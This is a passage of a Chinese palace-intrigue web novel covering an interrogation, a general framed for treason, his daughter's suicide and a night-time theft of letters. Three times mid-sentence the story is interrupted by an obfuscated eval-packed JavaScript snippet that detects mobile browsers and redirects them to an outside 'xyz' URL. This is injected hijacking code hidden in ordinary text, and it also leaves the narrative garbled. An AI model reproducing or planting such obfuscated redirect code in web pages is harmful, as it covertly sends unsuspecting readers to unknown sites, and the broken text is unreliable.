那牢犯被狱卒锁在一个木椅上,乱发披面,隐约露着白色的眼球,在昏暗中呆滞地瞪着前方。一身破烂的衣服上布满血污,多处皮肉溃烂生疮,双脚被铁链束缚着,那是他身上少数几处皮肤完好的地方。 宇文泰撩袍坐下,目光钉在对面,淡淡开口道:“马冀,滁州大汛,户部拨了一千两白银,你们桐丘城分到了多少?” 马冀头也不抬:“大人,这些问题我早就答过了。” 宇文泰沉声道:“回话。” “一百两。” 杨柯提笔飞快地记下。 “你贪了多少?” “五十两。” 宇文泰的手指有条不紊地点着桌面:“五十两,一个县令一年的俸禄便是五十两。为何马大人要赔进去一辈子的仕途,去换一年的俸禄?” 马冀冷笑了一声:“我是个穷苦书生出身,五十两对殿下来说不算什么,对我们这种人来说,再少也不嫌。” 宇文泰又道:“去年滁州平阳县遭大洪之患,我记得平阳的大坝好像两年前便修过,桐丘却五年都未曾修缮,依理而言,桐丘之坝应先遭殃。” 马冀冷笑道:“天灾降临,哪有什么先后的道理?” 宇文泰并不理会他,又继续道:“平阳地处高阜,桐丘陷于洼泽。当时洪水淹没平阳一半农田时,势头正猛。按常理,洪水顺流而下,地势更低的桐丘只会受灾更重、更快,为何会在大半年后才遭灾?” 马冀往后一靠,不耐烦地用鼻孔出气:“这我怎么清楚?殿下该去问钦天监的人。” 宇文泰眯了眯眼,微微一笑,懒洋洋地问道:“据我所知,令正在生下女儿后便得病去世,令爱今年好像还未及笄?” 马冀无神的双眼终于有了些光亮,顿了顿才回答:“是。” 宇文泰声音依旧沉闷:“幼年丧母,唯一能依靠的就是父亲,可你为何要将她送去三百里外的永州?” “钏儿太小,我一个人没法照顾她。”提起女儿,马冀的声音也温柔了许多。 宇文泰皮笑肉不笑地道:“马大人有心迎娶两任新房,却无暇顾及十岁的女儿,当真是舐犊情深。” “放你娘的狗屁!”马冀怒目圆睁,登时要从木椅上站起来,冲向宇文泰,一旁的狱卒见状立刻起身,可马冀被木椅上的铁锁牢牢禁锢住,腿还没完全打直,身子便被弹了回来,只能在锁链之下拼命捶胸顿足。 宇文泰神色自如,冷冷地看着马冀疯狂的样子,杨柯用动作示意他:“这也要记吗?” 宇文泰瞪了她一眼,视线随即又回到了马冀身上:“既然马大人不这么认为,那就请你解释解释,为何要将女儿送去外地?” 马冀逐渐安静了下来,他怒目而视:“老子凭什么要告诉你?” “就凭你现在深陷囹圄,令爱还未及笄却要无父无母,不知道她出嫁那日会作何感想。”宇文泰死死盯着马冀的表情,“如今,唯一能挽回局面的人,就是你自己。” 马冀脚下的铁链动了动,发出一阵声响,传递出他内心的不安:“钏儿和这个案子有什么关系?” 宇文泰不急不缓道:“你只需要回答我。” 马冀犹豫了一瞬答道:“当时发了洪水,桐丘的百姓对我这个县令愤愤不满,我担心他们会伤害钏儿,便将她送走。” “可你拨了二十万两赈灾,百姓虽无田可种,但也不至于到官逼民反的地步。”宇文泰站起身,靠近了马冀,“马大人,你有钱赈灾,为何无钱修堤呢?” 马冀抬起头,视线灼灼地看着宇文泰,欲言又止,宇文泰察觉到了不对劲,立刻问道:“令爱被送走是否和此事有关?” 马冀又低下头,视线挪向一边:“殿下多虑了。那五十万被我贪了,二十万是从财库里拿的,又没动我的钱。” 宇文泰深吸一口气,道:“好。”他看向杨柯,“方才的话都记录了?” 杨柯点头回应。 宇文泰满意颔首:“把纸收好,我们回去。” 这么快就审完了?杨柯还没反应过来,手上只好赶紧收起纸笔,一旁的狱卒犹豫着试探问道:“殿下……是不是忘了画押?” 宇文泰本已转身出门,又停下脚步,侧首回眸:“本王难道不知?” 狱卒立刻反应过来,随即道:“小的明白!” 见他二人走回了中厅,值夜狱卒赶忙提起灯笼,领着他们出去。穿过三道铁门,寒风扑面而来。狱卒将灯笼举高,躬身问道:“殿下还有何事要吩咐?” 宇文泰道:“今日我来审问的事,不许走漏半字。还有,马冀的供状暂且封存,往后两月,无论谁来提审,都须经我同意。” 狱卒立刻答道:“小的明白!” 走出了大理寺,杨柯忍不住问道:“殿下,为何方才的审讯不用画押?还有啊,为何要封锁马冀招供的消息?” 宇文泰盯着她看了一瞬,随即笑道:“你哪来这么多问题?” 杨柯神色自若地解释道:“按照规定,提审不都得画押签字,不然审讯干什么呢?我只是觉得殿下这次去,好像有其他的目的。” 宇文泰回道:“这案子看似简单,实则漏洞百出。再者,马冀的供词很有蹊跷,他连贪污银两分赃的细目都说不明白,更对钱财的关键去向闭口不谈。” 杨柯回想起最后马冀犹豫不决的样子,立即回应道:“我也正有此感!殿下最后问他时,他好像想说什么。” 宇文泰扭头问道:“你也看出来了?” 杨柯点头道:“是啊,可他为何不说呢?明明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493756|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己都已经快死了。” 宇文泰转回头去,眸中浮上一层森冷:“这就是奇怪的地方。只有一种可能,他受人威胁。” 杨柯一惊:“受谁威胁?” 宇文泰脚步顿了顿:“只是我的假设。目前尚未找到明确的证据,最好的办法便是将他封锁在牢里,防止他人先一步灭口。”说完,便提步离去。 “诶?”杨柯正埋头思索着他的话,一抬眸便发现他人已经走远,赶忙跟了上去,“殿下等等我!” 这时,勤政殿内,鎏金兽炉吐着袅袅龙涎香,李福瑞半弓着身子,双手捧着药碗,送到皇帝跟前,拖着长音道:“主子喝药咯!一饮祛病,福寿康宁!” 皇帝半倚在明黄缎面软榻上,视线从手里的书册挪到了李福瑞手中的药碗,皱了皱眉,目光又回到了原位。 李福瑞见他纹丝不动,于是笑道:“这药汤苦,奴才给您配了份蜜饯,是蜀地来的,酸甜适口,您要不先吃点儿?” 听完这话,皇帝脸上终于亮起了光,于是开始调侃他道:“都说天蜀之国物华天宝,你说说,你们蜀地有什么好?” 李福瑞递过一枚蜜饯:“陛下这不是明知故问?” 皇帝接过,送到了嘴里,甜味顺着他的话溜了出来:“放肆,怎么是明知故问?” 李福瑞道:“不是蜀地来的人,哪里有这份福气,能侍奉万岁爷的圣体呀?” 皇帝被他逗笑,忽然血气上涌,不禁猛地咳嗽起来:“咳咳咳——” 李福瑞眼疾手快,立刻掏出素白丝帕递去,瞬间,丝帕上已是斑斑点点的血迹。 “父皇,昭宁才走几日,您又不按时喝药了?”孔阳公主踏入御书房,一双柳眉高高翘起。 皇帝苦笑道:“朕老了,记不住咯。” 李福瑞劝道:“殿下切莫责怪陛下,前些日子滁州下头的桐丘县又闹了洪灾,几十万百姓没饭吃,陛下操心得连觉都睡不好。” “哎,”皇帝向李福瑞摆摆手,“有些话就不要多说了。” 李福瑞赶忙笑着应道:“奴才多嘴,奴才多嘴。” 皇帝想起什么,忽而又问道:“马冀审得如何?” 李福瑞答道:“听说到现在还没招供呢。” 皇帝眉间青筋微跳:“都半个月了,为何如此拖延?明日让泰儿来见朕!” 李福瑞躬身应和:“是。”隐在暗处的眼中露出一丝得逞的笑意。 孔阳瞥了眼李福瑞,眉尾一挑,跟着道:“说起来,滁州这次受灾,倒是让儿臣想起了一件事。前几日我还听公孙提起,滁州那儿流传一句话,叫‘苦粥养民’。” 皇帝脸色一寒,将手中药盏重重掷于案上:“这话,公孙是从哪儿听到的?” 李福瑞解释道:“听滁州那边的大人说,易老遣府上人到滁州受灾各县设了粥棚,特意在粥中加了莲子,莲子清心火、养脾胃,最是适合灾后体弱的百姓。” 皇帝摩梭着胡须,目光沉沉:“他倒是细心。” 李福瑞声音更轻了几分:“不仅如此,易大人还以‘义捐’之名,给户部送去了二十万两白银。” 皇帝沉默了下去。 孔阳与李福瑞对了个眼神,便款步上前,道:“人非圣贤,孰能无过?过而能改,善莫大焉。”她握住皇帝的手,声音软糯,“父皇,这可是您从小教我的。易大人到底没做错什么,不过是家里出了个不懂事的,这一颗老鼠屎坏了一锅汤。哪像——”她忽然住口,用帕子轻轻拭去皇帝唇边的药渍,“罢了,儿臣才不当这个冤大头,说了这话,到时候父皇手底下的这些老头子们又要记恨我了。” 听她这没说完的半句话,皇帝反而疑心起来:“哪像什么?” 孔阳移开了视线,轻叹一声:“父皇难道还不知道么?” 皇帝眉间拧得越发紧了,凌厉目光投到了一旁缄默的李福瑞身上:“李福瑞,你说,到底是什么事?” 李福瑞迟疑了一会儿,声音带着一丝压抑的紧张:“今早宫门当值的侍卫说,有人匿名送了一沓密信,只说……” 皇帝冷声道:“只说什么?” 李福瑞的声音弱了下去:“只说事关前线十万战士生死存亡。” 50.刘家 天气已进入深冬,上课的地方也从亭子里搬到了承影湖畔的朗月阁里。房子内的暖炉烧得旺,整个屋子热烘烘的,加上纪夫子不平不淡的语调,更加催眠。 忽然,一阵铿锵有力的脚步声传来,顿时将昏沉的课堂吵醒。这承影湖居于后宫中央,平时鲜少有士兵踏入,而且听这声音,像是来了许多人。 众人左观右望,开始小声议论起来。 不遑多时,一阵冷气轰然袭来,一群侍卫涌了进来,领头的竟然是绾嫔! “纪夫子,打扰了,本宫奉命前来捉拿叛徒之女。”绾嫔的脸上看起来老了许多,但此刻她却神采奕奕,脖子梗的老直。 纪夫子脸上不悦:“绾嫔娘娘为何要来我的课堂上抓叛贼?” 绾嫔微笑道:“纪夫子,本宫也是奉皇上的旨意,并无冒犯夫子之意。” 纪夫子继续问道:“可有圣旨?” 绾嫔微微侧头,对身后人低语了句,一个身阔的侍卫踩着兵靴走上前,递给了纪夫子一道明黄色的卷轴。 纪夫子接过卷轴,垂眸扫了一眼,脸上已是掩饰不住的震惊。 还没等纪夫子说话,绾嫔抢先开口道:“刘悦在哪儿?” 此话一出,引起一阵骚动。大家纷纷将目光投向坐在右首的刘悦。 刘悦半是颤抖,半是厌恶地回道:“你们想干什么?” 话音刚落,几名侍卫直直向她走来。刘悦惊得尖叫:“放肆!不许碰我!” 一旁的章可馨立即站起身,拦在刘悦跟前,几名侍卫见她挡在身前,也不好继续动作。 “大胆!竟敢动我章家的人,你们不要命了!”章可馨转头对着绾嫔厉声道:“绾嫔,如今后宫掌事的,恐怕是宸妃娘娘吧。您哪里来的权力可以在纪夫子的课上直接将人带走?若真要带,是不是也得问问宸妃?” 绾嫔嗤笑一声,尖厉刺耳:“章可馨,你还被蒙在鼓里么?刘家通敌叛国,已是死罪,陛下今早才将逆贼捉拿归案。刘生乃章满麾下将领,你说,刘家犯了这样的事,你姑姑又有何颜面面对陛下呢?” “你胡说!”章可馨大声吼道。 “到底是本宫胡说,还是事实,都由皇上说了算。”说完,绾嫔冲着几名侍卫使了个眼色。 瞧着绾嫔势在必得的样子,杨柯忍不住道:“绾嫔娘娘,刘悦虽是刘生之女,但她与家中事务好像并无什么牵扯。若您非要捉拿她,又何必急在这一时,不如等到纪夫子把课上完再说也不迟。” “杨柯,你又来掺和什么?”绾嫔乜了她一眼,“捉拿刘悦是陛下的旨意,本宫是奉命办事,陛下的意思是即刻捉拿反贼,若你阻止,那本宫也只好向陛下言明,杨姑娘执意抗旨了。” 杨柯笑了笑:“绾嫔娘娘这会儿倒是对皇上的话言听计从。” 绾嫔见她冷言相讥,又道:“你入宫才多久,知道些什么?”她指着呆呆站着的侍卫,怒道:“你们还在看什么?还不快抓人!” 侍卫闻言反应过来,一把将章可馨拎到一旁,反手将挣扎的刘悦押住,拿出粗绳将她绑了起来。其余众人皆吓得噤声,偶有几个也冲上去阻拦,但都被丽妃以违抗圣旨喝住。 刘悦被跪按在地上,吓得大哭大叫:“救命!可馨,救我!” “不可以!你们不能这么做!”章可馨几次三番要去拉住侍卫,侍卫起初还收着劲,后来烦了,索性将她扔到一边。 章可馨一指众人,怒道:“今日捉拿刘悦的人,我都记住你们了,等我父亲回京,一个个处置你们!” 侍卫听了她的话手上顿了顿,抬眼去瞧绾嫔,绾嫔反倒是哈哈大笑:“可馨啊,你怎么如此天真,是你姑姑教的,还是你爹爹教的?刘家即刻就要被灭门处斩,你们章家又能撑得了多久?你爹能不能平安回来都是个未知数。” “你……胡说……”章可馨仍是不信,但她身子已经滑溜了下去,瘫坐在地上,仿佛被夺去了筋骨。 刘悦听到灭门二字,眼里的泪水也都僵在脸上,两眼已是空空。 见事情已不可扭转,杨柯趁着绾嫔不注意的空档,赶紧跑了出去,直奔武华殿。 “殿下!殿下!” 宫女彩鸣闻声而出:“杨姑娘,殿下还在勤政殿呢。” “殿下什么时候回来?” 彩鸣为难道:“这个奴婢也不知,陛下说不准,一留便留好几个时辰。” “小顺子呢?他在哪里?” “顺公公也在勤政殿那儿候着呢。” “怎么办?怎么办?刘悦要被抓走了……”态势紧张,杨柯急得将心中所想也念了出来。 彩鸣见她慌张模样,不解道:“姑娘先别急,到底出了什么事?” 杨柯脱口而出:“绾嫔娘娘来抓人了。” 彩鸣又问道:“那宸妃娘娘呢?” 杨柯茫然道:“此事波及章家,宸妃不便出面。”说完,她旋即想到,既然宇文泰在勤政殿,为何不直接去找他? “我现在去勤政殿。” 彩鸣闻言大惊:“杨姑娘,不可啊,千万不可!”可她还未来得及拉住杨柯,对方就早已奔出了大门。 刚靠近勤政殿,杨柯便望见小顺子站在殿外来回踱步,她低声喊道:“小顺子!” 小顺子被她的声音吓了一跳,忙躬身快步过来,引她至墙边上:“嘘!姑娘小声些,现在情况不妙。” “因为刘家的事?” 小顺子惊讶道:“您怎么知道?诶,您现在不该在承影湖那儿吗,怎么跑到这来了?” 杨柯平复了下呼吸:“绾嫔娘娘方才直接冲进课堂,把刘悦抓走了。我本想回武华殿去找殿下帮忙,结果你们都在这儿,就过来找你们。” 小顺子拧眉摇头:“没办法,没办法了!” 杨柯心里一沉:“公公为何这么说?” 他四顾一眼,又放低了声音:“这里不方便说。但这事板上钉钉,已无回天之力。殿下就在里面,皇上正质问他呢。” 竟然闹得如此大,杨柯问道:“皇上可有迁怒于殿下?” “这……也难说,不过殿下多年未参与前线战事,不知道其中缘由。” “那陛下留他是何故?” “这……” 杨柯见他吞吞吐吐,便索性引他至僻静处:“公公,今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493757|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日朝堂上究竟发生了什么?” 见她坚持要问,小顺子只好如实回答:“昨夜有人呈上了密案,文中交代,刘生将军持续与柔然通信,交换了军中关键情报,这些情报直接关联到前线几次失守。密案中还附上了刘生将军与柔然方面往来的亲笔书信,字迹清晰可辨,内容更是铁证如山,难以辩驳。陛下看后龙颜大怒,当即下令将刘将军羁押候审,准备详加审问再定其罪状。” 杨柯听后心中一惊,刘将军一直是朝廷的忠臣良将,怎会做出通敌叛国之事?但转念一想,或许其中另有隐情也未可知。又沉声继续问道:“公公可知这密案是何人所呈?刘将军可有辩解之机?” 他摇了摇头,低声道:“密案乃是匿名呈上,无从查起。至于刘将军,虽被羁押,陛下尚未定其罪,但证据确凿,想来处斩也是迟早的事。” 听了他的话,杨柯才意识到绾嫔所说虽有夸张之嫌,但此事实然为真。 一夜之间,刘氏被告通敌,章家陷入困境,那宇文泰又当如何自处?她又问道:“公公可打听到里面发生了什么?” 小顺子颓唐道:“下了朝,陛下只叫了殿下一人入内,就连兵部白大人也没能进去。也不知道陛下和殿下说了些什么。” 门前的幕帘将殿内殿外拦了个严严实实,站在外面的人只感觉里面平静无波,可明白人都清楚,他这时一定如若炙烤,处境艰难。 二人又焦急地熬过了半晌功夫,终于门帘内有了动静。 一只玄金长靴踏了出来,抬眼一看,是宇文泰。 小顺子赶忙将大氅披到他身上,宇文泰神色沉重,目光若有所思地盯着前方。 “殿下。”杨柯开口迎了上去。 他收起视线,目光落在她脸上,剑眉一拧:“你怎么在这?” 杨柯道:“方才绾嫔娘娘将刘悦抓走了,谁都拦不住,实在没办法,只能找你求助。” 宇文泰调转了目光,提步往前走:“随便跑来这种地方,会有什么下场,你知道吗?” 杨柯解释道:“因为你在这里,所以我便跟着寻来了。” 宇文泰立住脚,目光直视杨柯,眼中燃起一丝恼怒:“皇宫禁地岂能随意踏入?你是我武华殿的人,现在时局敏感,若是冲撞了父皇,必定会引来滔天大祸。如此冒失,简直是拿自己的性命开玩笑!” 杨柯见他动怒,心中委屈,只好轻声解释道:“绾嫔突然抓走刘悦,可馨怎么拦都拦不住。我知道这样做很冒险,但心里实在放心不下。我第一个想到的就是你,因为只有你能查清真相,保护她们。” 他眉头微微舒展,但眼中怒意还未完全消散:“你以为这样就能解决问题吗?若真出了差错,谁来承担这个责任?” 杨柯垂眸道:“对不起,是我考虑不周。” 一旁的小顺子见状解围:“殿下,杨姑娘也是担心您,老早就跑过来了。这么冷的天,在外面等了足足一个时辰。” 宇文泰闻言,脚步顿了顿:“罢了,这次就当作是个教训。以后行事必须更加谨慎,不可再如此鲁莽。”他提步继续前行,但步伐明显比之前缓慢了许多,似乎在等她跟上。 51.惊魂 自从那日刘将军被羁押后,不出三日,他便被定下通敌叛国之罪,于午门当众处斩。刘悦因在宫中,被关去了掖庭,等候发落。 此事虽就此过去,但前朝后宫皆人人自危。刘家就像风雨前乍现的第一道闪电,照见了藏在黑暗中的种种秘密。 上次勤政殿一事后,宇文泰也比以往忙了许多,白天不见人影,晚上才步履匆匆地赶回来,一踏进殿门便直接钻进书房,许久也不见出来。因此杨柯每日需要向他上报的兵部文书,都得等到用完晚膳后才有机会呈交。有时甚至会被留在书房内,帮他一道批阅文书,忙到丑时。 今日杨柯好不容易在白天逮到他,早早完成了上报,可没想到过了戍时,彩鸣又跑过来说殿下召见。 走进殿内,却不见宇文泰的踪影。 “殿下?”杨柯轻声唤道。 “我在这,进来吧。”他的声音从书房内传来,杨柯提步往里走去。 宇文泰正立于书架前,手里拿着本书册,闻声侧头:“来得正好。替我去取一件东西。” 杨柯低声咕哝道:“哪里是来得正好?不是你让我来的么?” 宇文泰疑惑地回头:“你在那儿嘀咕什么?” 她赶忙道:“没什么。殿下想取何物?” 宇文泰将书册随手扔到一边,懒懒道:“千里镜。” 杨柯心跳猛地漏了一拍,顿了顿,才问道:“去哪里取?” 宇文泰停下了手中的动作,抬眼直直看向她:“观星阁。” 杨柯稳了稳心绪,摆出一个若无其事的微笑:“殿下怎么突发奇想,要用这玩意儿了?” 他又从书架上取出一卷竹简,道:“我拿它来并非观测星象,而是另有他用。对了,记得,拿最长的那管。” 杨柯垂眸回避他的视线:“知道了,这就去拿。” 行至观星阁,曾经的枝繁叶茂已是裸茎露骨。门前依旧挂着那串风铃,冷风吹过,叮当作响,好似从前的回声穿越而来。杨柯登至三层,掀开雕花柜门,在柜子前一个一个搜寻。月光斜斜地照进来,落到了角落里的楠木匣上。杨柯探身过去,打开匣盖,里头的青铜长筒泛着冷光,暗红丝绦缠绕其上——就是它了! “啊——”一声凄厉的尖叫从黑暗中传来,吓得杨柯手一哆嗦,差点儿将怀里的千里镜掉落在地。 “蹬蹬蹬!”一阵急促的脚步声忽而逼近,观星阁内的木梯发出“吱呀”声响,看来是有人跑了进来。 谁会在这个时辰过来?方才那声尖呼让杨柯直觉不妙,她环顾四周,猛地扯开门帘,闪身躲进了隔间。 “蹬蹬蹬!”脚步声越来越近。透过缝隙,杨柯看见一道白色身影撞开雕花木门,连跑带摔地闯了进来。 “别靠近我!”竟是刘悦!她踉跄着撞向阑干,发间已是凌乱不堪,浑身脏乱,嘴里大口喘着粗气,牙齿嗑哧嗑哧地打颤。 “你休想杀我!”她面朝着房内楼梯的方向,充血的眼球几乎要迸出眼眶,“我刘家满门冤魂都看着!老天留我这条命,就是要让我将真相公诸于众!” 话音还未落,她对面的楼梯亮起了光——景泰宫的檀若正提着宫灯拾级而上:“刘姑娘,都死到临头了还挣扎什么?”她足尖轻点木板,叩出规律的声响,如同死神的乐章。 刘悦忽地咧开嘴,露出惨白牙齿:“我们刘家为章家拼死拼活了这么多年,到头来,不过是棋盘上的弃子。”她仰头望天,“爹爹,你在黄泉之下,可会后悔啊?” 檀若冷哼一声:“姑娘这话,还是留着,去阴曹地府再跟刘将军说吧。” “站住!”刘悦忽然拔下发间残簪,直指檀若咽喉,“我现在就要说,是你们让爹爹同柔然串通一气,花钱收买了柔然那群酒囊饭袋,这本就是公开的秘密……为何要让我们刘家来当替死鬼?你说!到底是谁呈的密案?” 檀若嗤笑道:“是谁呈的,有何关系?” 刘悦突然安静下来,眼角衔着泪珠,凄然一笑:“是啊,是谁呈的,有何区别?欲加之罪,何患无辞?”她的声音变得出奇平静,“西北土地一日不收回,朝中便不能一日没有章氏。”她仰头大笑,但那笑脸却比哭还骇人,“你们章家算什么东西!这万里江山,都是刘家儿郎用命换来的!没有我们,没有千百英雄将领,哪来的章家!” 檀若拂了拂被风吹起的衣摆,淡淡道:“姑娘少说几句吧,外面风这样大,又有谁能听得见呢?” “人听不见,但天能听见!”刘悦猛地扬起手,指着苍天,“今日我以血为咒——章氏满门,不得好死!” 话音未落,她忽然纵身跃出阑干,白色身影瞬间消失不见。 “砰!”眨眼间,一声闷响从地底震来。 急促的脚步声由远及近,另一女子提着裙摆冲至阑干边,她望着地上,喉间发出呜咽:“檀若姐姐,她……她真的死了。” 檀若手里的宫灯晃了晃,她强压住声音里的颤意:“怕什么,今晚咱们本就是要取她性命。” “那这……怎么办?” “只消说她发了疯失足坠楼便是。”檀若目光扫过满地狼藉,攥住女子手腕,“别哆嗦了,此地不宜久留,快走吧。” 说完,二人的脚步声匆匆忙忙地从楼上移到了楼底,很快便消失不见。 杨柯从幕帘后缓缓走出,浑身止不住地发颤。她攥着手里的千里镜,一步顿一步,勉强着探下楼,努力让颤抖的腿打直,结果一抬眼又差点儿跌坐在地上:此刻,刘悦的身体正横躺在她面前。 杨柯从未这样害怕过,她一点儿一点儿地挪到门前,但眼前的一幕让她终身难忘:刘悦的眼珠跳了出来,死死地瞪着空中,原本细长的身子叠成一团,嘴角渗出一道血,那血滴答、滴答,在地上滑溜出去,像条赤红的蛇,窥视着、潜伏着,一下子钻进人的脑髓里。 杨柯只觉喘不上气,哆嗦着退后几步,连跑带摔地逃离了那里。 回到武华殿,檐角铜铃在夜风里发出细碎的呜咽,好似地下冤魂的饮泣。一阵冷风吹过,杨柯只觉浑身像被千万道冰丝穿过。她一步顿一步地走进门去,将带回的千里镜递给了宇文泰,攥着镜筒的指尖仍在发颤。 宇文泰的目光仍停留在手上的折子:“怎么去了这么久?” “路上风大,走得慢了些。”杨柯喉间发紧,声音干涩。 宇文泰静了一瞬,接着问道:“再大能大到拦着你走路?” “啊——”杨柯还未开口,门外骤然炸开一声惨叫,惊得她又是一颤。 宇文泰拧起眉头,冷冽目光扫向门前的小顺子:“发生了什么事?” 小顺子刚掀开珠帘,一道人影便跌跌撞撞地冲了进来。小铃子一个猛地跪在地上,官帽歪斜:“殿下……刘……刘悦姑娘殁了!” 宇文泰脸色一变,蓦地起身:“她不是在掖庭关得好好地?” 小铃子抖如筛糠:“奴、奴才方才从观星阁的方向回来,刘姑娘正… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“殿下,我所言句句是实。刘悦的死讯,我也是听了小铃子的话才知道。” 宇文泰收起眼中温柔,敛眸凛声:“可我看你的反应,并无半分惊讶之色。” 杨柯轻轻叹道:“刘姑娘的遭遇已经如此悲惨,她跳楼自戕,也是一种解脱。” 宇文泰冷哼一声:“章家给了他们刘家多少好处,如今她也死得其所。” 杨柯不禁语中带怒:“你们皇室贵族果然冷血,视人命如草芥。皇帝如此,章满如此,你也如此。” “皇室冷血?”宇文泰从座位上起身,缓缓向她逼近,嘴角含笑,却不进眼底,“那你的伯喻呢?他也冷血吗?” 听他提起伯喻,杨柯顿时感觉不耐,皱着眉头道:“殿下与七皇子是同胞兄弟,他是否冷血,恐怕殿下比我要了解得多。” 他的唇角弧度渐深:“可我从未与他亲近到咫尺可闻,他的身上到底是冷是热,你不比我清楚?” 杨柯怒道:“殿下,请您放尊重些!” 宇文泰不为所动,语调更冷:“你到底在观星阁里见到了什么?” 杨柯扬起下颌,无畏回视:“殿下是耳力不济,还是非要听个假话?我说了,什么都没看见。” 宇文泰狠狠攥住千里镜,镜筒发出沉闷钝响:“好,你什么都不知道! 52.争夺 入夜,一道黑影闪进了京城西边已经被查封的刘府。 京城东市的刘府,大门上朱漆已经剥落,封条在夜风里病怏怏地打着摆子。府内空无一人,只有门口两名年轻侍卫抱着长枪蜷在石阶上,鼾声混着蟋蟀叫声此起彼伏。 黑影悬在檐角,投下的阴影如一道锋利长刀。眨眼间,黑影轻落于门前,靴底竟未惊起半粒尘埃。此人伸出指尖,探了探睡熟的侍卫,轻声一笑:“果真睡着了。”又一眨眼,身影已经立于刘府院内,片刻间无丝毫响动。 “真是闷死我了。”此人猛地扯下了面罩,甩了甩被汗浸湿的额发,俊朗面容在月光下泛着柔光——此人乃逍遥居少首领林骞! “从哪里开始找呢?”他的视线围着刘府绕了一圈,最终落到了东侧的厢房外,身形一晃,闪了进去。 片刻的功夫,修长身影又出现在回廊上,他依次在各个房间内穿梭,最终止步于刘府最西侧的书房外。 “难不成在这里头?刘将军又怎会将信件放在如此显眼的地方?”林骞环抱双臂,低声自言自语,“算了,来都来了,进去瞧瞧吧。”话毕,又一个闪身滑了进去。 长靴轻轻降落在青砖上时,霉味混着陈年墨香袭来。林骞环顾四周,目光扫过檀木书架,眼眸一亮,于是径直向那走去。他指尖游走于凸起的云纹雕饰,又是轻叩又是猛推,试图从中找出些机关暗道的开关来。但从上到下全都试了个遍,竟没有任何动静。 “会藏在哪儿呢?”他正暗自嘀咕,忽然瞥见窗户下方的一处空地上,突兀地立着个官皮箱。这官皮箱一般都是女子用作梳妆来使,大多照护着放置于桌案上,极少会随意扔在地上。 林骞心中一动,朝官皮箱走了过去。他蹲下身子,先轻叩箱体听声辨虚实,轻透的声音听起来倒像是空的,又伸手探了探箱门前的面叶拍子,接着掀开顶盖,里面皆是空无一物。不信邪的他又继续抽开平屉——还是空的。 常年游走于权贵府邸的经验告诉他,这般刻意的“干净”,必定暗藏玄机。他将箱子翻转置于月光下,他眯起眼睛仔细端详,终于发现了异样。 箱底木纹的右下角有一处回纹偏偏与别处不同,他伸出手指顺着暗纹摸索,忽在一处凹陷处顿住。“原来如此。”他低喃着,手指精准扣住机关,随着“咔嗒”一声轻响,暗格缓缓弹开。 埋藏在木盒深处的神秘物品终于露出了真容,林骞深呼了口气,伸手掏出一看,竟然是一叠书信,这沓书信足足有三寸之厚。 林骞嘴角弯弯:“终于让我找到了。” 忽然,房外传来一声微响,林骞眼眸一动,麻利地将书信收进衣袖里,探身从门缝向外望去。几个身影窜进了院内的其余几间房内,林骞心中不禁好笑,他们总是来得晚了一步。他轻轻推开窗户,双足微微用力一蹬,便如一道疾电般射出,眨眼便飞了出去。 不料刚攀上房梁,耳边便扫过一道冰刃,闪着刺眼的寒光。 林骞笑着转头,对地上的人道:“又见面了,芮伊姑娘。” “林公子好兴致,怎么有空半夜去攀他人府中的房梁?”芮伊一身素白裙裾,立在月光下,恍若嫦娥仙子。这样的景象在萧条的刘府内,显得尤为不真实。 林骞斜倚雕花横梁,眼中笑意漫到眉梢:“梁上君子,月下美人。有芮伊这样的美人相伴,在下乐得做个梁上君子。” 芮伊轻抬广袖掩唇:“梁上君子?这话在中原,好像不是什么好词呢。” 林骞轻轻耸肩:“那又如何,若能博芮姑娘一笑,便是落个采花贼的骂名,在下也甘之如饴。” 芮伊眼波一横:“林公子的话总是天花乱坠的,说出口了,也没见行动。” 林骞奇道:“上次便邀你与我作伴,怎么忘了?” 芮伊媚眼相视:“若林公子愿意交出怀中之物,我倒是可以考虑。” 林骞笑道:“我怀中的东西可不值钱,哪里比得上芮伊姑娘的身价。这次便算了吧。”说完,一个纵身而起,越过房梁,在半空中轻轻翻了个筋斗,接着攀上屋顶,身形如游龙一般闪动,眨眼间便没了踪影。 这时,方才在房中的二人也出现在了院子里,芮伊狠声命道:“追!这次不能让他跑了!” 三人一齐朝着林骞离开的方向追去。 不出多时,三道黑影如鬼魅般将林骞团团围住。 “不好!”林骞暗自惊道,他虽擅长轻功,但从方才的局势来看,这三人的脚力并不在自己之下。若要成功逃脱,还需使些伎俩迷惑对方才行。 正思索着,忽见芮伊纵身一跃,直直冲着林骞袭来。 芮伊左掌斜挥,林骞侧身让过,可芮伊早已料到他的动作,旋即便右掌如风,直击他的肋间。她左击是虚,右击却实,这一掌击出,饶是林骞内功深厚,也觉五脏六腑如遭重锤,四肢百骸不禁抖了三抖。 